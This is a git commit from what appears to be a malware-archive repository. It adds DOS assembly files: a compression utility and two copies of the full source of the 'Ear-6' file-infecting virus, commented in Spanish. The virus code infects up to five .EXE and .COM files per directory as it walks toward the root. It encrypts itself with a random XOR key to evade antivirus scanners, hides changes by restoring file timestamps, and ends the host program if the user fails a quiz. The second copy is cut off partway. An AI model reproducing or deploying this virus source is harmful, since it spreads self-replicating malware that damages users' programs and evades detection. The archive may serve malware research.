re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
+106
View File
@@ -0,0 +1,106 @@
code segment
assume cs:code, ds:code
org 100h
asc2 equ asc + 128
prog:
mov ax,cs
add ax,1000h
mov es,ax
mov si,0100h
mov di,si
mov cx,5000h
rep movsb
mov word ptr [next+2],es
jmp dword ptr [next]
next db 1dh,1,0,0
part2:
push ds
pop es
push cs
pop ds
mov di,offset asc + 128
sub bx,bx
k10: mov [bx][di],bl
inc bl
jnz k10
mov si,offset asc
k20: mov bl,[si]
mov byte ptr [bx][di],0
inc si
cmp si,di
jne k20
dec di
mov cx,128
k30: inc di
cmp byte ptr [di],0
je k30
mov al,[di]
mov [si],al
inc si
loop k30
mov bx,50ffh
mov di,bx
mov cl,0
l10: mov ah,[di]
mov al,[di-1]
mov si,ax
sub ax,ax
mov dl,6
shl si,cl
mov ch,cl
mov cl,12
shl si,1
jnc l20
mov al,64
dec cx
dec cx
inc dx
inc dx
shl si,1
jnc l30
shl ax,1
dec cx
inc dx
jmp short l30
l20: shl si,1
jnc l30
inc dx
mov al,16
shl si,1
jnc l30
shl ax,1
dec cx
inc dx
l30: shr si,cl
add si,ax
mov al,asc[si]
mov es:[bx],al
mov cl,dl
add cl,ch
l40: cmp cl,8
jc l50
sub cl,8
dec di
jmp short l40
l50: dec bx
cmp bx,00ffh
jne l10
mov [next],0
mov word ptr [next+2],es
jmp dword ptr [next]
asc db ?
last label byte
code ends
end prog

+254
View File
@@ -0,0 +1,254 @@
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
asc db 256 dup (0)
lll dw ?
tbl dw 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'te.com',0
fn2 db 'sup.com',0
fn3 db 'e1.com',0
main:
call read
call build
call uha
call good
call write
mov al,00h
mov ah,4ch
int 21h
good proc near
mov ax,cs
mov ds,ax
mov si,offset asc
mov di,179
mov cx,130
rep movsb
mov dx,offset fn3
mov al,00h
mov ah,3dh
int 21h
jc ssr
mov bx,ax
mov ax,es
mov ds,ax
sub dx,dx
mov cx,179
mov ah,3fh
int 21h
jc ssr
mov ah,3eh
int 21h
mov ax,cs
mov ds,ax
ssr: ret
good endp
uha proc near
mov ax,cs
add ax,1000h
mov ds,ax
add ax,1000h
mov es,ax
mov bx,4fffh
mov di,bx
mov ch,0
sub bp,bp
lu10: sub ax,ax
mov al,[bx]
mov si,ax
mov al,cs:cod[si]
mov dl,cs:len[si]
mov cl,dl
cmp dl,7
jne lu20
inc ah
lu20: sub cl,ch
shl ax,cl
or bp,ax
add ch,16
sub ch,dl
mov cl,8
lu30: cmp ch,cl
jc lu40
mov ax,bp
shl bp,cl
mov es:[di],ah
dec di
sub ch,cl
jmp short lu30
lu40: dec bx
cmp bx,0ffffh
jne lu10
mov ax,bp
mov es:[di],ah
mov lll,di
mov ah,0
lu50: dec di
mov es:[di],ah
cmp di,0
jne lu50
ret
uha endp
fill proc near
sub si,si
mov cx,0100h
lf10: mov ax,si
mov cs:asc[si],al
inc si
loop lf10
sub bx,bx
mov cx,5000h
lf20: mov al,[bx]
mov si,ax
shl si,1
inc cs:tbl[si]
inc bx
loop lf20
ret
fill endp
pause proc near
push ax
mov ah,01h
int 21h
pop ax
ret
pause endp
sort proc near
mov cx,00ffh
l10: mov di,cx
mov bx,cx
shl bx,1
add bx,offset tbl
sub ax,ax
l20: mov si,ax
shl si,1
mov dx,tbl[si]
cmp dx,[bx]
jnc l30
xchg dx,[bx]
xchg dx,tbl[si]
shr si,1
mov dl,asc[si]
xchg dl,asc[di]
xchg dl,asc[si]
l30: inc ax
cmp ax,cx
jc l20
loop l10
mov di,offset asc + 128
sub bx,bx
k10: mov [bx][di],bl
inc bl
jnz k10
mov si,offset asc
k20: mov bl,[si]
mov byte ptr [bx][di],0
inc si
cmp si,di
jne k20
dec di
mov cx,128
k30: inc di
cmp byte ptr [di],0
je k30
mov al,[di]
mov [si],al
inc si
loop k30
ret
sort endp
make proc near
mov cx,16
mov bx,offset dat
sub si,si
sub ax,ax
lm10: mov al,asc[si]
mov di,ax
mov dx,si
add dl,[bx]
mov cod[di],dl
mov dl,[bx+1]
mov len[di],dl
inc si
cmp si,cx
jnz lm10
inc bx
inc bx
shl cx,1
cmp cx,512
jnz lm10
ret
make endp
build proc near
call fill
mov ax,cs
mov ds,ax
call sort
call make
ret
build endp
write proc near
mov dx,offset fn2
mov al,02h
mov ah,3dh
int 21h
jc sw
mov bx,ax
mov ax,es
mov ds,ax
sub dx,dx
mov cx,5000h
mov ah,40h
int 21h
jc sw
mov ah,3eh
int 21h
sw: ret
write endp
read proc near
mov dx,offset fn1
mov al,00h
mov ah,3dh
int 21h
jc sr
mov bx,ax
mov ax,ds
add ax,1000h
mov ds,ax
sub dx,dx
mov cx,5000h
mov ah,3fh
int 21h
jc sr
mov ah,3eh
int 21h
sr: ret
read endp
last label byte
code ends
end prog

+290
View File
@@ -0,0 +1,290 @@
code segment
assume cs:code, ds:code, es:code
org 100h
prog:
jmp main
asc db 256 dup (0)
lll dw ?
tbl dw 256 dup (0)
cod db 256 dup (0)
len db 256 dup (0)
dat db 0,10,16,9,64,8,64,8,0,7
fn1 db 'te.com',0
fn2 db 'sup.com',0
fn3 db 'e1.com',0
fn4 db 'dat.dat',0
main:
call read
call build
call uha
call good
call write
mov al,00h
mov ah,4ch
int 21h
good proc near
mov ax,cs
mov ds,ax
mov si,offset asc
mov di,179
mov cx,130
rep movsb
mov dx,offset fn3
mov al,00h
mov ah,3dh
int 21h
jc ssr
mov bx,ax
mov ax,es
mov ds,ax
sub dx,dx
mov cx,179
mov ah,3fh
int 21h
jc ssr
mov ah,3eh
int 21h
mov ax,cs
mov ds,ax
ssr: ret
good endp
uha proc near
mov ax,cs
add ax,1000h
mov ds,ax
add ax,1000h
mov es,ax
mov bx,4fffh
mov di,bx
mov ch,0
sub bp,bp
lu10: sub ax,ax
mov al,[bx]
mov si,ax
mov al,cs:cod[si]
mov dl,cs:len[si]
mov cl,dl
cmp dl,7
jne lu20
inc ah
lu20: sub cl,ch
shl ax,cl
or bp,ax
add ch,16
sub ch,dl
mov cl,8
lu30: cmp ch,cl
jc lu40
mov ax,bp
shl bp,cl
mov es:[di],ah
dec di
sub ch,cl
jmp short lu30
lu40: dec bx
cmp bx,0ffffh
jne lu10
mov ax,bp
mov es:[di],ah
mov lll,di
mov ah,0
lu50: dec di
mov es:[di],ah
cmp di,0
jne lu50
ret
uha endp
fill proc near
sub si,si
mov cx,0100h
lf10: mov ax,si
mov cs:asc[si],al
inc si
loop lf10
sub bx,bx
mov cx,5000h
lf20: mov al,[bx]
mov si,ax
shl si,1
inc cs:tbl[si]
inc bx
loop lf20
ret
fill endp
swap proc near
push ax
mov ax,tbl[si]
xchg ax,tbl[di]
mov tbl[si],ax
shr si,1
shr di,1
mov al,asc[si]
xchg al,asc[di]
mov asc[si],al
shl si,1
shl di,1
pop ax
ret
swap endp
sort proc near
mov bp,32
mov cl,1
ss00: sub ax,ax
mov dx,510
ss05: mov di,ax
mov bx,tbl[di]
mov si,di
ss10: cmp si,dx
je ss20
inc si
inc si
cmp bx,tbl[si]
jnc ss10
inc di
inc di
call swap
jmp short ss10
ss20: mov si,ax
call swap
cmp di,bp
je ss40
jc ss30
mov dx,di
dec dx
dec dx
jmp short ss05
ss30: mov ax,di
inc ax
inc ax
jmp short ss05
ss40: shl bp,cl
shl cl,1
cmp cl,8
jne ss00
; call writ
mov di,offset asc + 128
sub bx,bx
k10: mov [bx][di],bl
inc bl
jnz k10
mov si,offset asc
k20: mov bl,[si]
mov byte ptr [bx][di],0
inc si
cmp si,di
jne k20
dec di
mov cx,128
k30: inc di
cmp byte ptr [di],0
je k30
mov al,[di]
mov [si],al
inc si
loop k30
ret
sort endp
make proc near
mov cx,16
mov bx,offset dat
sub si,si
sub ax,ax
lm10: mov al,asc[si]
mov di,ax
mov dx,si
add dl,[bx]
mov cod[di],dl
mov dl,[bx+1]
mov len[di],dl
inc si
cmp si,cx
jnz lm10
inc bx
inc bx
shl cx,1
cmp cx,512
jnz lm10
ret
make endp
build proc near
call fill
mov ax,cs
mov ds,ax
call sort
call make
ret
build endp
write proc near
mov dx,offset fn2
mov al,02h
mov ah,3dh
int 21h
jc sw
mov bx,ax
mov ax,es
mov ds,ax
sub dx,dx
mov cx,5000h
mov ah,40h
int 21h
jc sw
mov ah,3eh
int 21h
sw: ret
write endp
read proc near
mov dx,offset fn1
mov al,00h
mov ah,3dh
int 21h
jc sr
mov bx,ax
mov ax,ds
add ax,1000h
mov ds,ax
sub dx,dx
mov cx,5000h
mov ah,3fh
int 21h
jc sr
mov ah,3eh
int 21h
sr: ret
read endp
writ proc near
mov dx,offset fn4
sub cx,cx
mov ah,3ch
int 21h
mov bx,ax
mov dx,offset tbl
mov cx,512
mov ah,40h
int 21h
mov ah,3eh
int 21h
ret
writ endp
last label byte
code ends
end prog

+447
View File
@@ -0,0 +1,447 @@
.model tiny
.code
org 100h
longitud_del_virus = TerminaVir - EmpezarVir
longitud_del_escribir = offset termina - offset escribir
id = 'GH' ; Representa el l¡der de
; PHALCON/SKISM, Garbageheap
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
EmpezarVir:
shwing:
remendar1:
mov bx, offset EmpezarCifra
remendar2:
mov cx, ((longitud_del_virus + 1) / 2)
hacia_atras: ; atr s
db 2eh
remendar3:
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
add bx, 2
loop hacia_atras
EmpezarCifra:
call siguiente ; Es estupido, pero es corto
siguiente:
pop bp
sub bp, offset siguiente
mov byte ptr [bp+numinf], 0
cld ; No es necessario, pero
; ¨por qu no?
cmp sp, id
jz SoyEXE
SoyCOM: mov di, 100h
push di
lea si, [bp+Primer3]
movsb
jmp short SoyNada
SoyEXE: push ds
push es
push cs
push cs
pop ds
pop es
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
lea si, [bp+EXE_Donde_JMP2] ; infectada
movsw
movsw
movsw
jmp short SoyNada
NombreDelVirus db 0,'[Ear-6]',0 ; En ingls, ­por supuesto!
NombreDelAutor db 'Dark Angel',0
SoyNada:
movsw
mov ah, 1ah ; Esindicece un DTA nuevo
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
int 21h ; el DTA original
mov ax, word ptr [bp+remendar1+1]
mov word ptr [bp+tempo], ax
mov ah, 47h ; Obtiene el directorio
xor dl, dl ; presente
lea si, [bp+diroriginal]
int 21h
looper:
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
call infectar_mascara ; pero no es possible usar
; acentos en MASM/TASM.
; ­Qu l stima!
; mascara1 es '*.EXE',0
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
call infectar_mascara ; infecta las fichas de COM
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
jg saltar ; Si es verdad, no necesita
; busca m s fichas.
mov ah, 3bh ; Cambia el directorio al
lea dx, [bp+puntos] ; directorio anterior
int 21h ; ('..', 'punto punto')
jnc looper
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
mov ah, 3bh ; directorio terminado.
int 21h
mov ah, 2ah ; Activa el primer de
int 21h ; cada mes
cmp dl, 1 ; Si no es el primer,
jnz saltarahora ; ­saltar ahora! (duh-o)
mov ah, 2ch ; ¨Qu hora es?
int 21h
cmp dl, 85 ; 85% probabilidad de
jg saltarahora ; activaci¢n
and dx, 7 ; Un n£mero quasi-azado
shl dl, 1 ; Usalo para determinar
mov bx, bp ; que preguntar  la virus
add bx, dx
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
add dx, bp
inc dx
push dx ; Salva el codo al pregunta
mov ah, 9 ; Escriba el primer parte de
lea dx, [bp+mensaje] ; la pregunta
int 21h
pop dx ; Escriba el parte de la oreja
int 21h ; o el o¡do
dec dx
push dx ; Salva la respuesta correcta
lea dx, [bp+secciones] ; Escriba los secciones de la
int 21h ; oreja y el o¡do
trataotrarespuesta:
mov ah, 7 ; Obtiene la respuesta de la
int 21h ; "v¡ctima"
cmp al, '1' ; Necesita una respuesta de
jl trataotrarespuesta ; uno hasta tres
cmp al, '3' ; Renuncia otras respuestas
jg trataotrarespuesta
int 29h ; Escriba la respuesta
pop bx ; El codo al respuesta
; correcta
mov ah, 9 ; Prepara a escribir un
; mensaje
cmp al, byte ptr [bx] ; ¨Es correcta?
jz saltarapidamente ; l aprueba el examencito.
; Pues, salta r pidamente.
lea dx, [bp+suspendido] ; Lo siento, pero ­Ud. no
int 21h ; aprueba el examencito f cil!
mov ah, 4ch ; Estudie m s y el programa
jmp quite ; permitir  a Ud a continuar.
saltarapidamente:
lea dx, [bp+aprueba]
int 21h
saltarahora:
mov ah, 1ah ; Restaura el DTA original
mov dx, 80h
quite:
cmp sp, id - 4 ; ¨Es EXE o COM?
jz vuelvaEXE
vuelvaCOM:
int 21h ; Restaura el DTA y vuelva
retn ; a la ficha original de COM
vuelvaEXE:
pop es
pop ds ; ds -> PSP
int 21h
mov ax, es
add ax, 10h ; Ajusta para el PSP
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
cli
add ax, word ptr cs:[bp+PilaOriginal+2]
mov ss, ax
mov sp, word ptr cs:[bp+PilaOriginal]
sti
db 0eah ; JMP FAR PTR SEG:OFF
EXE_Donde_JMP dd 0
PilaOriginal dd 0
EXE_Donde_JMP2 dd 0
PilaOriginal2 dd 0
infectar_mascara:
mov ah, 4eh ; Busca la ficha primera
mov cx, 7 ; Cada atributo
brb_brb:
int 21h
jc hasta_la_vista_bebe ; No la busca
xor al, al
call abrir ; Abre la ficha
mov ah, 3fh
mov cx, 1ah
lea dx, [bp+buffer]
int 21h
mov ah, 3eh ; Cierra la ficha
int 21h
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
mov cx, 9 ; creaci¢n
rep movsb
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
jz buscaEXE
buscaCOM:
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
jnz infecta_mi_burro ; "infect my ass"
jmp short BuscaMas
buscaEXE:
cmp word ptr [bp+buffer+10h], id
jnz infecta_mi_burro
BuscaMas:
mov ah, 4fh ; Busca otra ficha...
jmp short brb_brb
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
ret
infecta_mi_burro:
; AX = longitud de la ficha infectada
lea si, [bp+buffer]
cmp word ptr [si], 'ZM'
jz InfectaEXE
InfectaCOM:
push ax
mov cx, word ptr [bp+tempo]
mov word ptr [bp+remendar1+1], cx
lea di, [bp+Primer3]
movsb
push si
movsw
mov byte ptr [bp+buffer], 0e9h
pop di
add ax, longitud_del_virus
stosw
mov cx, 3
jmp short TerminaInfeccion
InfectaEXE:
les ax, [si+14h] ; Salva el original empieza
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
mov word ptr [bp+EXE_Donde_JMP2+2], es
les ax, [si+0Eh] ; Salva la original locaci¢n
mov word ptr [bp+PilaOriginal2], es ; de la pila
mov word ptr [bp+PilaOriginal2+2], ax
mov ax, word ptr [si + 8]
mov cl, 4
shl ax, cl
xchg ax, bx
les ax, [bp+offset nuevoDTA+26]
mov dx, es
push ax
push dx
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
mov word ptr [si+16h], ax
mov cl, 4
shr dx, cl
add ax, dx
mov word ptr [si+0Eh], ax ; y SS:SP
mov word ptr [si+10h], id
pop dx ; Restaura el magnitud de
pop ax ; la ficha
add ax, longitud_del_virus ; A¤ada el magnitud del virus
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
mov word ptr [si+2], ax
push cs
pop es
mov ax, word ptr [si+14h]
sub ax, longitud_del_virus + offset Empezarvir
push ax
mov cx, 1ah
TerminaInfeccion:
mov al, 2
call abrir
mov ah, 40h
lea dx, [bp+buffer]
int 21h
mov ax, 4202h
xor cx, cx
cwd ; xor dx,dx
int 21h
mov ah, 2ch ; N£meros azados en CX y DX
int 21h
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
; cifra
and cx, 31 ; Pone un n£mero azado para el
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
; eso, los scanners necesitan
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
lea di, [bp+tempstore]
mov al, 53h ; push bx
stosb ; (no destruir el mango de la
; ficha)
lea si, [bp+shwing] ; Copia las instrucciones
push si ; para formar la cifra
mov cx, longitud_de_la_cifra
push cx
rep movsb
mov al, 5bh ; pop bx
stosb ; (recuerda mango de la ficha)
lea si, [bp+escribir] ; Copia las instrucciones
mov cx, longitud_del_escribir ; para a¤ada el virus a la
rep movsb ; ficha
mov al, 53h ; push bx
stosb
pop cx ; Copia las instrucciones
pop si ; para invalidar la cifra
rep movsb
mov ax, 0c35bh ; pop bx, retn
stosw
pop ax
; Codo del comienzo de la cifra
add ax, offset EmpezarCifra + longitud_del_virus
mov word ptr [bp+remendar1+1], ax
call antes_del_tempstore
mov ax, 5701h ; BX = mango de la ficha
mov dx, word ptr [bp+f_fecha]
mov cx, word ptr [bp+f_hora]
int 21h ; Restaura fecha y hora
mov ah, 3eh
int 21h
xor ch, ch
mov cl, byte ptr [bp+f_atrib]
mov ax, 4301h
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
int 21h
inc byte ptr [bp+numinf]
jmp BuscaMas
Primer3 db 0CDh, 20h, 0
puntos db '..',0
mascara1 db '*.EXE',0
mascara2 db '*.COM',0
abrir: mov ah, 3dh ; Abrir un ficha
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
int 21h ; el DTA
xchg ax, bx
ret
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
oreja1 db '1','Auditory Canal$'
oreja2 db '1','Lobe$'
oreja3 db '2','Anvil$'
oreja4 db '2','Eustachian Tube$'
oreja5 db '3','Auditory Nerve$'
oreja6 db '3','Cochlea$'
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
secciones db ' located?',13,10
db ' 1. External Ear',13,10
db ' 2. Middle Ear',13,10
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
; No es bueno.
suspendido db 13,10,'You obviously know nothing about ears.'
db 13,10,'Try again after some study.',13,10,'$'
; ­Espero que s¡!
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
db '$'
escribir:
mov ah, 40h
mov cx, TerminaVir - EmpezarVir
lea dx, [bp+EmpezarVir]
int 21h
termina:
backslash db '\'
TerminaVir = $
; Los que sigue son en el mont¢n...
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
diroriginal db 64 dup (?)
tempo dw ?
nuevoDTA db 43 dup (?)
numinf db ?
antes_del_tempstore:
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
; de otro programa
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
; a¤ada cinco para los pop,
; los push, y el retn
buffer db 1ah dup (?)
f_atrib db ? ; atributo de la ficha
f_hora dw ? ; hora de creaci¢n
f_fecha dw ? ; fecha de creaci¢n
f_long dd ? ; magnitud de la ficha
end Empezar
+476
View File
@@ -0,0 +1,476 @@
; [Ear-6]
; El virus de oreja y o¡do seis
; Fue escrito por Dark Angel de PHALCON/SKISM
; Yo (el  ngel oscuro) escrib¡ este programa hace muchas semanas.
; No deba modificar este programa y da a otras personas COMO SI
; estar  el suyo.
; ¨D¢nde est  mi llama, mama?
; diccionarito
; espa¤ol ingls magnitud size
; abre open mango handle
; aprueba pass (a test) m scara mask
; atras back mensaje message
; azado random mes month
; busca find mont¢n heap
; cierra close oreja, o¡do ear
; cifra code, encrypt, decrypt pila stack
; codo pointer pregunta question
; corto terse, short primer first
; empieza begin remendar patch
; escriba write renuncia reject
; espa¤ol ingls respuesta answer
; fecha date salta exit
; ficha file siguiente following, next
; ¡ndice table suspende fail (a test)
; ¨le gusta? do you like? termina end
; longitud length virus virus (!)
.model tiny
.code
org 100h
longitud_del_virus = TerminaVir - EmpezarVir
longitud_del_escribir = offset termina_escribir - offset escribir
id = 'GH' ; Representa el l¡der de
; PHALCON/SKISM, Garbageheap
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
EmpezarVir:
shwing:
remendar1:
mov bx, offset EmpezarCifra
remendar2:
mov cx, ((longitud_del_virus + 1) / 2)
hacia_atras: ; atr s
db 2eh
remendar3:
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
add bx, 2
loop hacia_atras
EmpezarCifra:
call siguiente ; Es estupido, pero es corto
siguiente:
pop bp
sub bp, offset siguiente
mov byte ptr [bp+numinf], 0
cld ; No es necessario, pero
; ¨por qu no?
cmp sp, id
jz SoyEXE
SoyCOM: mov di, 100h
push di
lea si, [bp+Primer3]
movsb
jmp short SoyNada
SoyEXE: push ds
push es
push cs
push cs
pop ds
pop es
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
lea si, [bp+EXE_Donde_JMP2] ; infectada
movsw
movsw
movsw
jmp short SoyNada
NombreDelVirus db 0,'[Ear-6]',0 ; En ingls, ­por supuesto!
NombreDelAutor db 'Dark Angel',0
SoyNada:
movsw
mov ah, 1ah ; Esindicece un DTA nuevo
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
int 21h ; el DTA original
mov ax, word ptr [bp+remendar1+1]
mov word ptr [bp+tempo], ax
mov ah, 47h ; Obtiene el directorio
xor dl, dl ; presente
lea si, [bp+diroriginal]
int 21h
looper:
lea dx, [bp+offset mascara1] ; "m scara", no "mascara"
call infectar_mascara ; pero no es possible usar
; acentos en MASM/TASM.
; ­Qu l stima!
; mascara1 es '*.EXE',0
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
call infectar_mascara ; infecta las fichas de COM
cmp byte ptr [bp+numinf], 5 ; ¨Ha infectada cinco fichas?
jg saltar ; Si es verdad, no necesita
; busca m s fichas.
mov ah, 3bh ; Cambia el directorio al
lea dx, [bp+puntos] ; directorio anterior
int 21h ; ('..', 'punto punto')
jnc looper
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
mov ah, 3bh ; directorio terminado.
int 21h
mov ah, 2ah ; Activa el primer de
int 21h ; cada mes
cmp dl, 1 ; Si no es el primer,
jnz saltarahora ; ­saltar ahora! (duh-o)
mov ah, 2ch ; ¨Qu hora es?
int 21h
cmp dl, 85 ; 85% probabilidad de
jg saltarahora ; activaci¢n
and dx, 7 ; Un n£mero quasi-azado
shl dl, 1 ; Usalo para determinar
mov bx, bp ; que preguntar  la virus
add bx, dx
mov dx, word ptr [bx+indice] ; ¡ndice para el examencito
add dx, bp
inc dx
push dx ; Salva el codo al pregunta
mov ah, 9 ; Escriba el primer parte de
lea dx, [bp+mensaje] ; la pregunta
int 21h
pop dx ; Escriba el parte de la oreja
int 21h ; o el o¡do
dec dx
push dx ; Salva la respuesta correcta
lea dx, [bp+secciones] ; Escriba los secciones de la
int 21h ; oreja y el o¡do
trataotrarespuesta:
mov ah, 7 ; Obtiene la respuesta de la
int 21h ; "v¡ctima"
cmp al, '1' ; Necesita una respuesta de
jl trataotrarespuesta ; uno hasta tres
cmp al, '3' ; Renuncia otras respuestas
jg trataotrarespuesta
int 29h ; Escriba la respuesta
pop bx ; El codo al respuesta
; correcta
mov ah, 9 ; Prepara a escribir un
; mensaje
cmp al, byte ptr [bx] ; ¨Es correcta?
jz saltarapidamente ; l aprueba el examencito.
; Pues, salta r pidamente.
lea dx, [bp+suspendido] ; Lo siento, pero ­Ud. no
int 21h ; aprueba el examencito f cil!
mov ah, 4ch ; Estudie m s y el programa
jmp quite ; permitir  a Ud a continuar.
saltarapidamente:
lea dx, [bp+aprueba]
int 21h
saltarahora:
mov ah, 1ah ; Restaura el DTA original
mov dx, 80h
quite:
cmp sp, id - 4 ; ¨Es EXE o COM?
jz vuelvaEXE
vuelvaCOM:
int 21h ; Restaura el DTA y vuelva
retn ; a la ficha original de COM
vuelvaEXE:
pop es
pop ds ; ds -> PSP
int 21h
mov ax, es
add ax, 10h ; Ajusta para el PSP
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
cli
add ax, word ptr cs:[bp+PilaOriginal+2]
mov ss, ax
mov sp, word ptr cs:[bp+PilaOriginal]
sti
db 0eah ; JMP FAR PTR SEG:OFF
EXE_Donde_JMP dd 0
PilaOriginal dd 0
EXE_Donde_JMP2 dd 0
PilaOriginal2 dd 0
infectar_mascara:
mov ah, 4eh ; Busca la ficha primera
mov cx, 7 ; Cada atributo
brb_brb:
int 21h
jc hasta_la_vista_bebe ; No la busca
xor al, al
call abrir ; Abre la ficha
mov ah, 3fh
mov cx, 1ah
lea dx, [bp+buffer]
int 21h
mov ah, 3eh ; Cierra la ficha
int 21h
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
mov cx, 9 ; creaci¢n
rep movsb
cmp word ptr [bp+buffer], 'ZM' ; ¨Es EXE o COM?
jz buscaEXE
buscaCOM:
mov ax, word ptr [bp+f_long] ; ¨Cuan grande es la ficha?
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
cmp ax, word ptr [bp+buffer+1] ; ¨Ya es infectada?
jnz infecta_mi_burro ; "infect my ass"
jmp short BuscaMas
buscaEXE:
cmp word ptr [bp+buffer+10h], id
jnz infecta_mi_burro
BuscaMas:
mov ah, 4fh ; Busca otra ficha...
jmp short brb_brb
hasta_la_vista_bebe: ; ¨Le gusta Arnold?
ret
infecta_mi_burro:
; AX = longitud de la ficha infectada
lea si, [bp+buffer]
cmp word ptr [si], 'ZM'
jz InfectaEXE
InfectaCOM:
push ax
mov cx, word ptr [bp+tempo]
mov word ptr [bp+remendar1+1], cx
lea di, [bp+Primer3]
movsb
push si
movsw
mov byte ptr [bp+buffer], 0e9h
pop di
add ax, longitud_del_virus
stosw
mov cx, 3
jmp short TerminaInfeccion
InfectaEXE:
les ax, [si+14h] ; Salva el original empieza
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
mov word ptr [bp+EXE_Donde_JMP2+2], es
les ax, [si+0Eh] ; Salva la original locaci¢n
mov word ptr [bp+PilaOriginal2], es ; de la pila
mov word ptr [bp+PilaOriginal2+2], ax
mov ax, word ptr [si + 8]
mov cl, 4
shl ax, cl
xchg ax, bx
les ax, [bp+offset nuevoDTA+26]
mov dx, es
push ax
push dx
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
mov word ptr [si+16h], ax
mov cl, 4
shr dx, cl
add ax, dx
mov word ptr [si+0Eh], ax ; y SS:SP
mov word ptr [si+10h], id
pop dx ; Restaura el magnitud de
pop ax ; la ficha
add ax, longitud_del_virus ; A¤ada el magnitud del virus
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
mov word ptr [si+2], ax
push cs
pop es
mov ax, word ptr [si+14h]
sub ax, longitud_del_virus + offset Empezarvir
push ax
mov cx, 1ah
TerminaInfeccion:
mov al, 2
call abrir
mov ah, 40h
lea dx, [bp+buffer]
int 21h
mov ax, 4202h
xor cx, cx
cwd ; xor dx,dx
int 21h
mov ah, 2ch ; N£meros azados en CX y DX
int 21h
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n£mero de la
; cifra
and cx, 31 ; Pone un n£mero azado para el
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
; eso, los scanners necesitan
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
lea di, [bp+tempstore]
mov al, 53h ; push bx
stosb ; (no destruir el mango de la
; ficha)
lea si, [bp+shwing] ; Copia las instrucciones
push si ; para formar la cifra
mov cx, longitud_de_la_cifra
push cx
rep movsb
mov al, 5bh ; pop bx
stosb ; (recuerda mango de la ficha)
lea si, [bp+escribir] ; Copia las instrucciones
mov cx, longitud_del_escribir ; para a¤ada el virus a la
rep movsb ; ficha
mov al, 53h ; push bx
stosb
pop cx ; Copia las instrucciones
pop si ; para invalidar la cifra
rep movsb
mov ax, 0c35bh ; pop bx, retn
stosw
pop ax
; Codo del comienzo de la cifra
add ax, offset EmpezarCifra + longitud_del_virus
mov word ptr [bp+remendar1+1], ax
call antes_del_tempstore
mov ax, 5701h ; BX = mango de la ficha
mov dx, word ptr [bp+f_fecha]
mov cx, word ptr [bp+f_hora]
int 21h ; Restaura fecha y hora
mov ah, 3eh
int 21h
xor ch, ch
mov cl, byte ptr [bp+f_atrib]
mov ax, 4301h
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
int 21h
inc byte ptr [bp+numinf]
jmp BuscaMas
Primer3 db 0CDh, 20h, 0
puntos db '..',0
mascara1 db '*.EXE',0
mascara2 db '*.COM',0
abrir: mov ah, 3dh ; Abrir un ficha
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
int 21h ; el DTA
xchg ax, bx
ret
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
oreja1 db '1','Auditory Canal$'
